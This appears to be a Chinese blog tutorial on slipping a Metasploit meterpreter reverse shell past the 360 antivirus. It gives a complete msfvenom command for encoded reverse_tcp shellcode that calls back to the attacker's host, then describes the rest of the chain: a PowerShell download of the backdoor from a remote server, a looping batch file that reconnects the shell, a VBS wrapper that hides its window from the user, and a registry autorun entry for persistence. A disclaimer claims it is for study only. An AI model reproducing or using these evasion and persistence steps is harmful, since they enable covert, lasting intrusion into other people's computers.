通过payload分离过360检测
【重点声明】此系列仅用于工作和学习,禁止用于非法攻击。一切遵守《网络安全法》
看过许多多次编码,加壳,通过python编译的免杀教程都已经不免杀,无法绕过360流氓!!分享一个之前看见的payload分离的办法绕过360。实测可用。(仅供参考,后面思路部分请轻喷,接受大神指点。)
本次实验用到了,如下工具:
一台公网linux
一台win10虚拟机(安装360) ip:192.168.158.137
1.首先通过msfvenom生成一个.c格式的shellcode文件

命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的ip LPORT=443 -e x86/shikata_ga_nai -i 5 -f raw > msf.c
2.将shellcode执行器与我们生成的shellcode,上传到靶机,再通过执行器来运行我们shellcode,这里我们将文件上传到D盘根目录。当前360没有任何反应,扫描并未发现任何问题。


3.接受我们靶机发送过来的shell,成功接受shell,且执行命令360没有任何异常,一般进入shell的时候都会乱码,可以试用chcp 65001命令来消除乱码


4.在真实环境中通过上传两个后门文件并通过cmd执行显然是不现实的,我们可以使用badusb来实现。
但在这里我们使用另一种方式
通过靶机的powershell来下载我们在服务器上的后门,然后再执行它。
这里有坑,我们要保证整个获取shell的过程在隐藏的状态进行,就要避开360的自动拦截,
(1)通过第三方应用来调用powershell进行下载会被360拦截,
(2)在调用.ps1文件的时候采用 -W hidden参数也会触发拦截
因为比较菜,这里我当到一个笨办法
先通过python调用cmd命令创建一个隐藏的文件夹(在c盘创建会被拒绝),再通过echo命令,将我想执行的powershell命令重定向到一个.ps1文件当中,再执行生成好的.ps1文件,下载我们的后门软件,本地调用ps1不会触发360的拦截机制。

通过ps1下载的文件除必备的shellcode和其执行器,这里我还增加了一个bat文件,通过bat不断重发建立tcp请求,这样shell不小心掉了后可以重连。

但是出现了新的情况,当我们执行bat文件时,因为他是循环执行,黑框不会消失,有用户操作目标机的话肯定会被发现,这里需要将bat文件隐藏。
知识匮乏的我尝试了许多办法都不能很好的隐藏黑框,经过测试选择了通过vbs脚本来隐藏调用bat文件,

到此终于基本结束了,当然你可以将vbs文件加入注册表中,开机自启,但是360会对一切新加的东西进行拦截,还没找到解决办法,加注册表在这个目录不需要管理员权限,直接将vbs路径添加进去。

大致的流程图就是这样,有点麻烦,但是好歹目标基本实现,现在不怕session挂掉,也不怕目标主机重启。
